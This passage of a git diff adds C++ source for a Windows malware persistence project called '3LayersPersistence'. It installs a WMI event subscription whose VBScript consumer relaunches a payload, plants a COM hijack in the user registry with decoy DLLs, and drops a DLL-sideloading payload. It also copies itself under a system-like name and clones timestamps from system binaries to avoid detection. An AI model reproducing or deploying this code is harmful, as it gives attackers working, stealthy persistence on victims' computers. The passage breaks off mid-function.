fnMix(dw64VolumeSerial); + fnMix(TIME_SALT); + + cbDigest ^= (size_t)TIME_HH * FNV_MUL_HH; + cbDigest ^= (size_t)TIME_MM * FNV_MUL_MM; + cbDigest ^= (size_t)TIME_SS * FNV_MUL_SS; + + if (wsprintfA(szMutexName, MUTEX_NAME_FMT, (unsigned long long)cbDigest) < 0) + { + DBG_LAST_ERROR("wsprintfA"); + return FALSE; + } + + return TRUE; +} + +// Returns TRUE if another payload instance is already running (peer detected). +// Returns FALSE if this is the first instance, in which the caller owns the mutex and must close it on exit to release the guard +BOOL AcquirePayloadMutex(OUT HANDLE* phMutex) +{ + CHAR szMutexName[MAX_PATH] = { 0 }; + HANDLE hExisting = NULL; + SECURITY_ATTRIBUTES SecurityAttr = { 0 }; + PSECURITY_DESCRIPTOR pSecurityDesc = NULL; + DWORD dwLastError = ERROR_SUCCESS; + + if (!GetMutexName(szMutexName, ARRAYSIZE(szMutexName))) + return FALSE; + + DBG("[i] Mutex Name of PID (%ld) Is: %s", GetCurrentProcessId(), szMutexName); + + // Apply a Low Integrity Level mandatory label to the security descriptor so that + // Low IL processes can open the mutex. Without this, a Low IL caller would receive + // ACCESS_DENIED on any cross-IL object access. + // SDDL used: S:(ML;;NW;;;LW), where: + // S: = SACL + // ML = Mandatory Label ace type + // NW = No-Write-Up + // LW = Low integrity level + if (!ConvertStringSecurityDescriptorToSecurityDescriptorA("S:(ML;;NW;;;LW)", SDDL_REVISION_1, &pSecurityDesc, NULL)) + { + DBG_LAST_ERROR("ConvertStringSecurityDescriptorToSecurityDescriptorA"); + return FALSE; + } + + SecurityAttr.nLength = sizeof(SECURITY_ATTRIBUTES); + SecurityAttr.lpSecurityDescriptor = pSecurityDesc; + SecurityAttr.bInheritHandle = FALSE; + + *phMutex = CreateMutexA(&SecurityAttr, TRUE, szMutexName); + dwLastError = GetLastError(); + + LocalFree(pSecurityDesc); + + if (!*phMutex) + { + // CreateMutexA may fail with ERROR_ACCESS_DENIED if our process lacks + // SeCreateGlobalPrivilege (required to create Global\ namespace objects). + // In that case, fall back to OpenMutexA to check if the mutex already exists. + // OpenMutexA does not require the SeCreateGlobalPrivilege privilege. + if (dwLastError == ERROR_ACCESS_DENIED) + { + if ((hExisting = OpenMutexA(SYNCHRONIZE, FALSE, szMutexName)) != NULL) + { + // Mutex exists: another payload process is already running + CLOSE_HANDLE(hExisting); + return TRUE; + } + + // Mutex does not exist and we cannot create it. + // No other process is running, but we cant guard either. + DBG_LAST_ERROR("OpenMutexA"); + return FALSE; + } + + DBG_LAST_ERROR("CreateMutexA"); + return FALSE; + } + + if (dwLastError == ERROR_ALREADY_EXISTS) + { + // Mutex already existed before our CreateMutexA call + // Another payload process is running + CLOSE_HANDLE(*phMutex); + return TRUE; + } + + // We own the mutex, no other payload process is running + return FALSE; +} + +VOID ReleasePayloadMutex(IN HANDLE hMutex) +{ + if (hMutex) + { + ReleaseMutex(hMutex); + CLOSE_HANDLE(hMutex); + } +} + +#pragma endregion + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#pragma region WMI_PERSISTENCE + + +// IWbemClassObject::Put wrapper for string-typed properties +static BOOL SetWbemPropertyString(IN IWbemClassObject* pObj, IN LPCWSTR pszProperty, IN LPCWSTR pszValue) +{ + VARIANT var = { 0 }; + HRESULT hResult = S_OK; + BOOL bResult = FALSE; + + var.vt = VT_BSTR; + + if (!(var.bstrVal = SysAllocString(pszValue))) + { + DBG_LAST_ERROR("SysAllocString"); + return FALSE; + } + + if (FAILED((hResult = pObj->Put(pszProperty, 0, &var, 0)))) + { + DBG_HEX_ERROR("IWbemClassObject::Put", hResult); + DBG("[i] Failed To Set Property '%ws'", pszProperty); + goto _END_OF_FUNC; + } + + bResult = TRUE; + +_END_OF_FUNC: + SAFE_FREE_BSTR(var.bstrVal); + return bResult; +} + +// IWbemClassObject::Put wrapper for boolean-typed properties +static BOOL SetWbemPropertyBool(IN IWbemClassObject* pObj, IN LPCWSTR pszProperty, IN BOOL bValue) +{ + VARIANT var = { 0 }; + HRESULT hResult = S_OK; + + var.vt = VT_BOOL; + var.boolVal = bValue ? VARIANT_TRUE : VARIANT_FALSE; + + if (FAILED((hResult = pObj->Put(pszProperty, 0, &var, 0)))) + { + DBG_HEX_ERROR("IWbemClassObject::Put", hResult); + DBG("[i] Failed To Set Property '%ws'", pszProperty); + return FALSE; + } + + return TRUE; +} + +// doubles every backslash found so that the result is safe to put in WQL +static BOOL EscapeWqlBackslashes(IN LPCWSTR pszInput, OUT PWSTR pszOutput, IN DWORD cchOutput) +{ + DWORD i = 0; + DWORD j = 0; + + if (!pszInput || !pszOutput || cchOutput == 0) + return FALSE; + + for (i = 0; pszInput[i] != L'\0' && j < cchOutput - 1; i++) + { + if (pszInput[i] == L'\\') + { + if (j + 2 >= cchOutput) + return FALSE; + + pszOutput[j++] = L'\\'; + pszOutput[j++] = L'\\'; + } + else + { + pszOutput[j++] = pszInput[i]; + } + } + + pszOutput[j] = L'\0'; + return (pszInput[i] == L'\0'); +} + +static BOOL CreateWmiEventSubscription(IN LPCWSTR pszBinaryPath, IN LPCWSTR pszRegHive, IN LPCWSTR pszRegKey, IN LPCWSTR pszValueName, IN LPCWSTR pszFilterPrefix, IN DWORD dwDelayInSeconds) +{ + IWbemLocator* pLocator = NULL; + IWbemServices* pSubscriptionSvc = NULL; + IWbemClassObject* pClass = NULL; + IWbemClassObject* pInstance = NULL; + WCHAR szQuery[BUFFER_SIZE_1024] = { 0 }; + WCHAR szFilterName[BUFFER_SIZE_256] = { 0 }; + WCHAR szConsumerName[BUFFER_SIZE_256] = { 0 }; + WCHAR szFilterPath[BUFFER_SIZE_512] = { 0 }; + WCHAR szConsumerPath[BUFFER_SIZE_512] = { 0 }; + WCHAR szEscapedKey[BUFFER_SIZE_512] = { 0 }; + WCHAR szScriptText[BUFFER_SIZE_1024] = { 0 }; + HRESULT hResult = S_OK; + BOOL bResult = FALSE; + + if (!pszBinaryPath || !pszRegHive || !pszRegKey || !pszValueName || !pszFilterPrefix) + { + SetLastError(ERROR_INVALID_PARAMETER); + return FALSE; + } + + // Escape backslashes in registry key path for WQL + if (!EscapeWqlBackslashes(pszRegKey, szEscapedKey, ARRAYSIZE(szEscapedKey))) + { + SetLastError(ERROR_INSUFFICIENT_BUFFER); + return FALSE; + } + + // Build the WQL event query + if (wsprintfW(szQuery, + L"SELECT * FROM RegistryValueChangeEvent " + L"WHERE Hive = '%s' " + L"AND KeyPath = '%s' " + L"AND ValueName = '%s'", + pszRegHive, + szEscapedKey, + pszValueName) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + return FALSE; + } + + // Build the VBScript payload that the consumer will execute on each trigger + // WScript object does not exist in ActiveScriptEventConsumer (WScript.Sleep doesnt work), so + // Were using the native VBScript timer loop instead + // Also, Win32_Process.Create is used to launch the binary rather than Shell.Run or WScript.Shell + if (wsprintfW(szScriptText, + L"Dim oProcess\r\n" + L"Dim pid\r\n" + L"Dim t\r\n" + L"t = Timer\r\n" + L"Do While Timer < t + %d\r\n" + L"Loop\r\n" + L"Set oProcess = GetObject(\"winmgmts:\\\\.\\root\\cimv2:Win32_Process\")\r\n" + L"oProcess.Create \"%s\", Null, Null, pid", + dwDelayInSeconds, + pszBinaryPath) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + return FALSE; + } + + // Build filter/consumer names. This isnt required but its better when we need to cleanup + if (wsprintfW(szFilterName, L"%s_Filter", pszFilterPrefix) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + return FALSE; + } + + if (wsprintfW(szConsumerName, L"%s_Consumer", pszFilterPrefix) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + return FALSE; + } + + // Initialize COM + if (FAILED((hResult = CoInitializeEx(NULL, COINIT_MULTITHREADED)))) + { + DBG_HEX_ERROR("CoInitializeEx", hResult); + return FALSE; + } + + if (FAILED((hResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL))) && hResult != RPC_E_TOO_LATE) + { + DBG_HEX_ERROR("CoInitializeSecurity", hResult); + goto _END_OF_FUNC; + } + + if (FAILED((hResult = CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLocator)))) + { + DBG_HEX_ERROR("CoCreateInstance", hResult); + goto _END_OF_FUNC; + } + + // Connect to ROOT\subscription + // This is the namespace where permanent subscriptions (filter, consumer, binding) must be stored to survive reboots + if (FAILED((hResult = pLocator->ConnectServer(BSTR_LITERAL(L"ROOT\\subscription"), NULL, NULL, NULL, 0, NULL, NULL, &pSubscriptionSvc)))) + { + DBG_HEX_ERROR("IWbemLocator::ConnectServer", hResult); + goto _END_OF_FUNC; + } + + // Set the proxy authentication level on the returned IWbemServices proxy. + // Without this, COM may use a lower authentication level than WMI requires for write operations to ROOT\subscription + if (FAILED((hResult = CoSetProxyBlanket((IUnknown*)pSubscriptionSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE)))) + { + DBG_HEX_ERROR("CoSetProxyBlanket", hResult); + goto _END_OF_FUNC; + } + + // Create __EventFilter. This defines the WQL condition that triggers the subscription + if (FAILED((hResult = pSubscriptionSvc->GetObject(BSTR_LITERAL(L"__EventFilter"), 0, NULL, &pClass, NULL)))) + { + DBG_HEX_ERROR("IWbemServices::GetObject", hResult); + goto _END_OF_FUNC; + } + + if (FAILED((hResult = pClass->SpawnInstance(0, &pInstance)))) + { + DBG_HEX_ERROR("IWbemClassObject::SpawnInstance", hResult); + goto _END_OF_FUNC; + } + + if (!SetWbemPropertyString(pInstance, L"Name", szFilterName)) goto _END_OF_FUNC; + if (!SetWbemPropertyString(pInstance, L"QueryLanguage", L"WQL")) goto _END_OF_FUNC; + if (!SetWbemPropertyString(pInstance, L"Query", szQuery)) goto _END_OF_FUNC; + if (!SetWbemPropertyString(pInstance, L"EventNamespace", L"root\\default")) goto _END_OF_FUNC; // RegistryValueChangeEvent is available from root\default + + if (FAILED((hResult = pSubscriptionSvc->PutInstance(pInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL)))) + { + DBG_HEX_ERROR("IWbemServices::PutInstance", hResult); + goto _END_OF_FUNC; + } + + DBG("[+] Event Filter Created: %ws", szFilterName); + + pClass->Release(); pClass = NULL; + pInstance->Release(); pInstance = NULL; + + // Create ActiveScriptEventConsumer. This runs the VBScript payload + if (FAILED((hResult = pSubscriptionSvc->GetObject(BSTR_LITERAL(L"ActiveScriptEventConsumer"), 0, NULL, &pClass, NULL)))) + { + DBG_HEX_ERROR("IWbemServices::GetObject", hResult); + goto _END_OF_FUNC; + } + + if (FAILED((hResult = pClass->SpawnInstance(0, &pInstance)))) + { + DBG_HEX_ERROR("IWbemClassObject::SpawnInstance", hResult); + goto _END_OF_FUNC; + } + + if (!SetWbemPropertyString(pInstance, L"Name", szConsumerName)) goto _END_OF_FUNC; + if (!SetWbemPropertyString(pInstance, L"ScriptingEngine", L"VBScript")) goto _END_OF_FUNC; + if (!SetWbemPropertyString(pInstance, L"ScriptText", szScriptText)) goto _END_OF_FUNC; + + if (FAILED((hResult = pSubscriptionSvc->PutInstance(pInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL)))) + { + DBG_HEX_ERROR("IWbemServices::PutInstance", hResult); + goto _END_OF_FUNC; + } + + DBG("[+] ActiveScript Consumer Created: %ws", szConsumerName); + + pClass->Release(); pClass = NULL; + pInstance->Release(); pInstance = NULL; + + // Create __FilterToConsumerBinding. This is to link the filter and consumer so WMI knows to invoke the consumer when the filter is triggered + if (wsprintfW(szFilterPath, L"__EventFilter.Name=\"%s\"", szFilterName) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + goto _END_OF_FUNC; + } + + if (wsprintfW(szConsumerPath, L"ActiveScriptEventConsumer.Name=\"%s\"", szConsumerName) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + goto _END_OF_FUNC; + } + + if (FAILED((hResult = pSubscriptionSvc->GetObject(BSTR_LITERAL(L"__FilterToConsumerBinding"), 0, NULL, &pClass, NULL)))) + { + DBG_HEX_ERROR("IWbemServices::GetObject", hResult); + goto _END_OF_FUNC; + } + + if (FAILED((hResult = pClass->SpawnInstance(0, &pInstance)))) + { + DBG_HEX_ERROR("IWbemClassObject::SpawnInstance", hResult); + goto _END_OF_FUNC; + } + + if (!SetWbemPropertyString(pInstance, L"Filter", szFilterPath)) goto _END_OF_FUNC; + if (!SetWbemPropertyString(pInstance, L"Consumer", szConsumerPath)) goto _END_OF_FUNC; + + if (FAILED((hResult = pSubscriptionSvc->PutInstance(pInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL)))) + { + DBG_HEX_ERROR("IWbemServices::PutInstance", hResult); + goto _END_OF_FUNC; + } + + DBG("[*] WMI Subscription Created Successfully"); + DBG("[i] Script Text:\n%ws", szScriptText); + DBG("[i] WQL Query: %ws", szQuery); + + bResult = TRUE; + +_END_OF_FUNC: + // Release COM objects in reverse dependency order + if (pClass) pClass->Release(); + if (pInstance) pInstance->Release(); + if (pSubscriptionSvc) pSubscriptionSvc->Release(); + if (pLocator) pLocator->Release(); + CoUninitialize(); + return bResult; +} + +BOOL DropExecutableForWmi() +{ + WCHAR wszCurrentExePath[MAX_PATH] = { 0 }; + WCHAR wszCurrentExeDir[MAX_PATH] = { 0 }; + WCHAR wszDestExePath[MAX_PATH] = { 0 }; + HRESULT hResult = S_OK; + + if (GetModuleFileNameW(GetModuleHandleW(NULL), wszCurrentExePath, MAX_PATH) == 0) + { + DBG_LAST_ERROR("GetModuleFileNameW"); + return FALSE; + } + + // Split current exe path into directory and file name + if (FAILED((hResult = StringCchCopyW(wszCurrentExeDir, ARRAYSIZE(wszCurrentExeDir), wszCurrentExePath)))) + { + DBG_HEX_ERROR("StringCchCopyW", hResult); + return FALSE; + } + + PathRemoveFileSpecW(wszCurrentExeDir); + + // Copy self to the WMI installation directory + if (!CopyFileToDirW(WMI_EXE_INSTALLATION_DIR, WMI_EXE_INSTALLATION_NAME, wszCurrentExeDir, PathFindFileNameW(wszCurrentExePath), wszDestExePath, ARRAYSIZE(wszDestExePath))) + return FALSE; + + { + // Clone the timestamp of a real system32 binary used to make SgrmBroker.exe (our renamed exe) blend in +#define WMI_TIMESTAMP_SOURCE_EXE L"sihost.exe" + + WCHAR wszWbemSrcPath[MAX_PATH] = { 0 }; + + if (GetSystem32PathW(WMI_TIMESTAMP_SOURCE_EXE, wszWbemSrcPath, MAX_PATH)) + CloneFileTimestampsW(wszWbemSrcPath, wszDestExePath); + +#undef WMI_TIMESTAMP_SOURCE_EXE + } + + DBG("[+] Executable Copied To: %ws", wszDestExePath); + + if (!CreateWmiEventSubscription(wszDestExePath, WMI_TRIGGER_REG_HIVE, WMI_TRIGGER_REG_KEY, WMI_TRIGGER_REG_VALUE, WMI_OBJECT_PREFIX, WMI_TRIGGER_DELAY)) + { + if (!DeleteFileW(wszDestExePath)) + { + DBG_LAST_ERROR("DeleteFileW"); + } + return FALSE; + } + + return TRUE; +} + +#pragma endregion + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#pragma region COM_PERSISTENCE + +// Copies a set of decoy DLLs into the target directory, so that the new directory doesnt hold our DLL only +static VOID DropDecoyDlls(IN LPCWSTR wszDestDir) +{ + WCHAR wszSystem32DllPath[MAX_PATH] = { 0 }; + WCHAR wszCopiedDllDst[MAX_PATH] = { 0 }; + CONST WCHAR* pwszDecoyDllNames[] = + { + DLL_ENTRY(1), + DLL_ENTRY(2), + DLL_ENTRY(3), + DLL_ENTRY(4), + DLL_ENTRY(5), + DLL_ENTRY(6) + }; + + for (int i = 0; i < COM_DECOY_DLLS_COUNT; i++) + { + RtlZeroMemory(wszSystem32DllPath, sizeof(wszSystem32DllPath)); + RtlZeroMemory(wszCopiedDllDst, sizeof(wszCopiedDllDst)); + + // From system32, copy with the same name + if (!CopyFileToDirW(wszDestDir, NULL, NULL, pwszDecoyDllNames[i], wszCopiedDllDst, ARRAYSIZE(wszCopiedDllDst))) + { + DBG("[!] CopyFileToDirW Failed For: %ws", pwszDecoyDllNames[i]); + continue; + } + + if (GetSystem32PathW(pwszDecoyDllNames[i], wszSystem32DllPath, MAX_PATH)) + CloneFileTimestampsW(wszSystem32DllPath, wszCopiedDllDst); + } +} + +// Writes the memory DLL buffer (obtained from our patched EXE) to the specified path on disk +static BOOL DropComDllToDisk(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize, IN LPCWSTR pwszDllPath) +{ + if (!pDllFileBuffer || dwDllFileSize == 0x00 || !pwszDllPath) + return FALSE; + + // Extract directory from full path and create it if it doesn't exist + if (!EnsureDirectoryExistsW(pwszDllPath, TRUE)) + return FALSE; + + if (!WriteFileToDiskW(pwszDllPath, pDllFileBuffer, dwDllFileSize)) + { + DBG("[!] Failed To Write DLL To: %ws", pwszDllPath); + return FALSE; + } + + return TRUE; +} + +BOOL InstallComHijack(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize) +{ + WCHAR wszSideloadDllPath[MAX_PATH] = { 0 }; + WCHAR wszSystem32DllPath[MAX_PATH] = { 0 }; + WCHAR wszOriginalDllDst[MAX_PATH] = { 0 }; + + if (!pDllFileBuffer || dwDllFileSize == 0x00) + return FALSE; + + if (!ExpandEnvironmentStringsW(COM_DLL_DIR L"\\" COM_PAYLOAD_DLL_NAME, wszSideloadDllPath, ARRAYSIZE(wszSideloadDllPath))) + { + DBG_LAST_ERROR("ExpandEnvironmentStringsW"); + return FALSE; + } + + // Write the payload DLL path as the default value of the COM server key + if (!SetRegistryStringW(HKEY_CURRENT_USER, COM_HIJACK_KEY, NULL, wszSideloadDllPath, FALSE)) + { + DBG("[!] Failed To Set COM Hijack DLL Path"); + return FALSE; + } + + if (!SetRegistryStringW(HKEY_CURRENT_USER, COM_HIJACK_KEY, COM_THREADING_MODEL, COM_THREADING_VALUE, TRUE)) + { + DBG("[!] Failed To Set COM Threading Model"); + DeleteRegistryKeyW(HKEY_CURRENT_USER, COM_HIJACK_KEY); + return FALSE; + } + + // Copy the legitimate system DLL 'Windows.StateRepositoryPS.dll' (COM_SYSTEM_DLL_NAME) from System32 + // into the payload directory under the forward DLL name 'Common.StateRepositoryRM.dll' (COM_FORWARD_DLL_NAME) + if (!CopyFileToDirW(COM_DLL_DIR, COM_FORWARD_DLL_NAME, NULL, COM_SYSTEM_DLL_NAME, wszOriginalDllDst, ARRAYSIZE(wszOriginalDllDst))) + { + DBG("[!] Failed To Copy Forward DLL"); + DeleteRegistryKeyW(HKEY_CURRENT_USER, COM_HIJACK_KEY); + return FALSE; + } + + DropDecoyDlls(COM_DLL_DIR); + + if (!DropComDllToDisk(pDllFileBuffer, dwDllFileSize, wszSideloadDllPath)) + { + DBG("[!] Failed To Drop COM DLL To Disk"); + DeleteRegistryKeyW(HKEY_CURRENT_USER, COM_HIJACK_KEY); + return FALSE; + } + + if (GetSystem32PathW(COM_SYSTEM_DLL_NAME, wszSystem32DllPath, MAX_PATH)) + { + CloneFileTimestampsW(wszSystem32DllPath, wszOriginalDllDst); + CloneFileTimestampsW(wszSystem32DllPath, wszSideloadDllPath); + } + + DBG("[+] COM Hijack Installed | Key: %ws | DLL: %ws", COM_HIJACK_KEY, wszSideloadDllPath); + + return TRUE; +} + + +#pragma endregion + + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#pragma region SIDELOADING_PERSISTENCE + +BOOL DropSideloadDlls(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize) +{ + WCHAR wszOriginalDllDst[MAX_PATH] = { 0 }; + WCHAR wszSystem32DllPath[MAX_PATH] = { 0 }; + WCHAR wszSideloadDllPath[MAX_PATH] = { 0 }; + + if (!pDllFileBuffer || dwDllFileSize == 0x00) + return FALSE; + + // Copy the legitimate system DLL 'dsound.dll' (SIDELOAD_PAYLOAD_DLL) from System32 + // into the payload directory under the forward DLL name 'dspatial.dll' (SIDELOAD_FORWARD_DLL) + if (!CopyFileToDirW(SIDELOAD_APP_DIR, SIDELOAD_FORWARD_DLL, NULL, SIDELOAD_PAYLOAD_DLL, wszOriginalDllDst, ARRAYSIZE(wszOriginalDllDst))) + { + DBG("[!] CopyFileToDirW Failed For: %ws", SIDELOAD_PAYLOAD_DLL); + return FALSE; + } + + if (!ExpandEnvironmentStringsW(SIDELOAD_APP_DIR L"\\" SIDELOAD_PAYLOAD_DLL, wszSideloadDllPath, ARRAYSIZE(wszSideloadDllPath))) + { + DBG_LAST_ERROR("ExpandEnvironmentStringsW"); + goto _DELETE_COPIED_DLL; + } + + // Write the payload DLL under the name the application will load 'dsound.dll' (SIDELOAD_PAYLOAD_DLL) + if (!WriteFileToDiskW(wszSideloadDllPath, pDllFileBuffer, dwDllFileSize)) + { + DBG("[!] Failed To Write Sideload DLL To: %ws", wszSideloadDllPath); + goto _DELETE_COPIED_DLL; + } + + if (GetSystem32PathW(SIDELOAD_PAYLOAD_DLL, wszSystem32DllPath, MAX_PATH)) + { + CloneFileTimestampsW(wszSystem32DllPath, wszOriginalDllDst); + CloneFileTimestampsW(wszSystem32DllPath, wszSideloadDllPath); + } + + DBG("[+] Sideload DLL Written To: %ws", wszSideloadDllPath); + + return TRUE; + +_DELETE_COPIED_DLL: + + if (!DeleteFileW(wszOriginalDllDst)) + { + DBG_LAST_ERROR("DeleteFileW"); + } + + return FALSE; +} + +#pragma endregion + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#pragma region PAYLOAD_VERIFICATION + +// Checks whether a DWORD registry value already exists and matches the expected value. +// If it does not exist, or exists with a different value, it is created/overwritten +BOOL VerifyOrCreateRegistryFlag(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwExpectedValue, OUT OPTIONAL BOOL* pbAlreadyExisted) +{ + DWORD dwActualValue = 0x00; + BOOL bOverwrite = FALSE; + + if (pbAlreadyExisted) + *pbAlreadyExisted = FALSE; + + if (GetRegistryDwordW(hRoot, pwszPath, pwszName, &dwActualValue)) + { + if (dwActualValue == dwExpectedValue) + { + if (pbAlreadyExisted) + *pbAlreadyExisted = TRUE; + return TRUE; + } + // Value exists but holds a mismatching value, so we need to overwrite + bOverwrite = TRUE; + } + else + { + DBG("[i] Registry Key Not Found, Creating ..."); + } + + if (!SetRegistryDwordW(hRoot, pwszPath, pwszName, dwExpectedValue, bOverwrite)) + return FALSE; + + return TRUE; +} + +#pragma endregion diff --git a/3LayersPersistence/Utilities.cpp b/3LayersPersistence/Utilities.cpp new file mode 100644 index 0000000..7b91c4b --- /dev/null +++ b/3LayersPersistence/Utilities.cpp @@ -0,0 +1,450 @@ +#include "Headers.h" + + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#pragma region STRING_MANIPLUATION + +LPVOID ConvertString(IN LPVOID pvSrc, IN INT cbSrc, IN STRING_ENCODING Encoding) +{ + INT cbNeeded = 0x00; + LPVOID pvDst = NULL; + UINT uCodePage = 0x00; + + if (!pvSrc || cbSrc == 0) return NULL; + + switch (Encoding) + { + case ENCODING_ANSI_TO_WIDE: + case ENCODING_UTF8_TO_WIDE: + { + uCodePage = (Encoding == ENCODING_UTF8_TO_WIDE) ? CP_UTF8 : CP_ACP; + + if ((cbNeeded = MultiByteToWideChar(uCodePage, 0, (LPCSTR)pvSrc, cbSrc, NULL, 0)) <= 0) + { + DBG_LAST_ERROR("MultiByteToWideChar"); + return NULL; + } + + HEAP_ALLOC(pvDst, ((cbNeeded + 1) * sizeof(WCHAR))); + if (!pvDst) return NULL; + + MultiByteToWideChar(uCodePage, 0, (LPCSTR)pvSrc, cbSrc, (LPWSTR)pvDst, cbNeeded); + break; + } + + case ENCODING_WIDE_TO_ANSI: + case ENCODING_WIDE_TO_UTF8: + { + uCodePage = (Encoding == ENCODING_WIDE_TO_UTF8) ? CP_UTF8 : CP_ACP; + + if ((cbNeeded = WideCharToMultiByte(uCodePage, 0, (LPCWSTR)pvSrc, cbSrc, NULL, 0, NULL, NULL)) <= 0) + { + DBG_LAST_ERROR("WideCharToMultiByte"); + return NULL; + } + + HEAP_ALLOC(pvDst, (cbNeeded + 1)); + if (!pvDst) return NULL; + + WideCharToMultiByte(uCodePage, 0, (LPCWSTR)pvSrc, cbSrc, (LPSTR)pvDst, cbNeeded, NULL, NULL); + break; + } + + case ENCODING_ANSI_TO_UTF8: + { + LPWSTR pwszIntermediate = (LPWSTR)ConvertString(pvSrc, cbSrc, ENCODING_ANSI_TO_WIDE); + if (!pwszIntermediate) return NULL; + + pvDst = ConvertString(pwszIntermediate, (SIZE_T)lstrlenW(pwszIntermediate), ENCODING_WIDE_TO_UTF8); + HEAP_FREE(pwszIntermediate); + break; + } + + case ENCODING_UTF8_TO_ANSI: + { + LPWSTR pwszIntermediate = (LPWSTR)ConvertString(pvSrc, cbSrc, ENCODING_UTF8_TO_WIDE); + if (!pwszIntermediate) return NULL; + + pvDst = ConvertString(pwszIntermediate, (SIZE_T)lstrlenW(pwszIntermediate), ENCODING_WIDE_TO_ANSI); + HEAP_FREE(pwszIntermediate); + break; + } + + default: + return NULL; + } + + return pvDst; +} + +#pragma endregion + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#pragma region FILE_IO + +BOOL ReadFileFromDiskW(IN LPCWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize) +{ + HANDLE hFile = INVALID_HANDLE_VALUE; + DWORD dwFileSize = 0x00, + dwNumberOfBytesRead = 0x00; + PBYTE pBaseAddress = NULL; + + if (!szFileName || !pdwFileSize || !ppFileBuffer) + return FALSE; + + if ((hFile = CreateFileW(szFileName, GENERIC_READ, 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) + { + DBG_LAST_ERROR("CreateFileW"); + goto _END_OF_FUNC; + } + + if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) + { + DBG_LAST_ERROR("GetFileSize"); + goto _END_OF_FUNC; + } + + HEAP_ALLOC(pBaseAddress, dwFileSize); + if (!pBaseAddress) goto _END_OF_FUNC; + + if (!ReadFile(hFile, pBaseAddress, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) + { + DBG_LAST_ERROR("ReadFile"); + DBG("[i] Read %d Of %d Bytes", dwNumberOfBytesRead, dwFileSize); + goto _END_OF_FUNC; + } + + *ppFileBuffer = pBaseAddress; + *pdwFileSize = dwFileSize; + +_END_OF_FUNC: + CLOSE_HANDLE(hFile); + if (!*ppFileBuffer) { HEAP_FREE(pBaseAddress); } + return (*ppFileBuffer && *pdwFileSize) ? TRUE : FALSE; +} + +BOOL WriteFileToDiskW(IN LPCWSTR pszFileName, IN CONST BYTE* pbDataBuffer, IN DWORD dwDataLength) +{ + HANDLE hFile = INVALID_HANDLE_VALUE; + DWORD dwNumerOfBytesWritten = 0x00; + BOOL bResult = FALSE; + + if (!pszFileName || !pbDataBuffer || dwDataLength == 0x00) + return FALSE; + + if ((hFile = CreateFileW(pszFileName, GENERIC_WRITE, 0x00, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) + { + DBG_LAST_ERROR("CreateFileW"); + goto _END_OF_FUNC; + } + + if (!WriteFile(hFile, pbDataBuffer, dwDataLength, &dwNumerOfBytesWritten, NULL) || dwNumerOfBytesWritten != dwDataLength) + { + DBG_LAST_ERROR("WriteFile"); + DBG("[i] Wrote %d Of %d Bytes", dwNumerOfBytesWritten, dwDataLength); + goto _END_OF_FUNC; + } + + bResult = TRUE; + +_END_OF_FUNC: + CLOSE_HANDLE(hFile); + return bResult; +} + +BOOL CloneFileTimestampsW(IN LPCWSTR pwszSrcPath, IN LPCWSTR pwszDstPath) +{ + HANDLE hSrcFile = INVALID_HANDLE_VALUE, + hDstFile = INVALID_HANDLE_VALUE; + FILETIME ftCreation = { 0 }, + ftLastAccess = { 0 }, + ftLastWrite = { 0 }; + BOOL bResult = FALSE; + + if (!pwszSrcPath || !pwszDstPath) + return FALSE; + + if ((hSrcFile = CreateFileW(pwszSrcPath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL)) == INVALID_HANDLE_VALUE) + { + DBG_LAST_ERROR("CreateFileW"); + return FALSE; + } + + if (!GetFileTime(hSrcFile, &ftCreation, &ftLastAccess, &ftLastWrite)) + { + DBG_LAST_ERROR("GetFileTime"); + goto _END_OF_FUNC; + } + + if ((hDstFile = CreateFileW(pwszDstPath, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL)) == 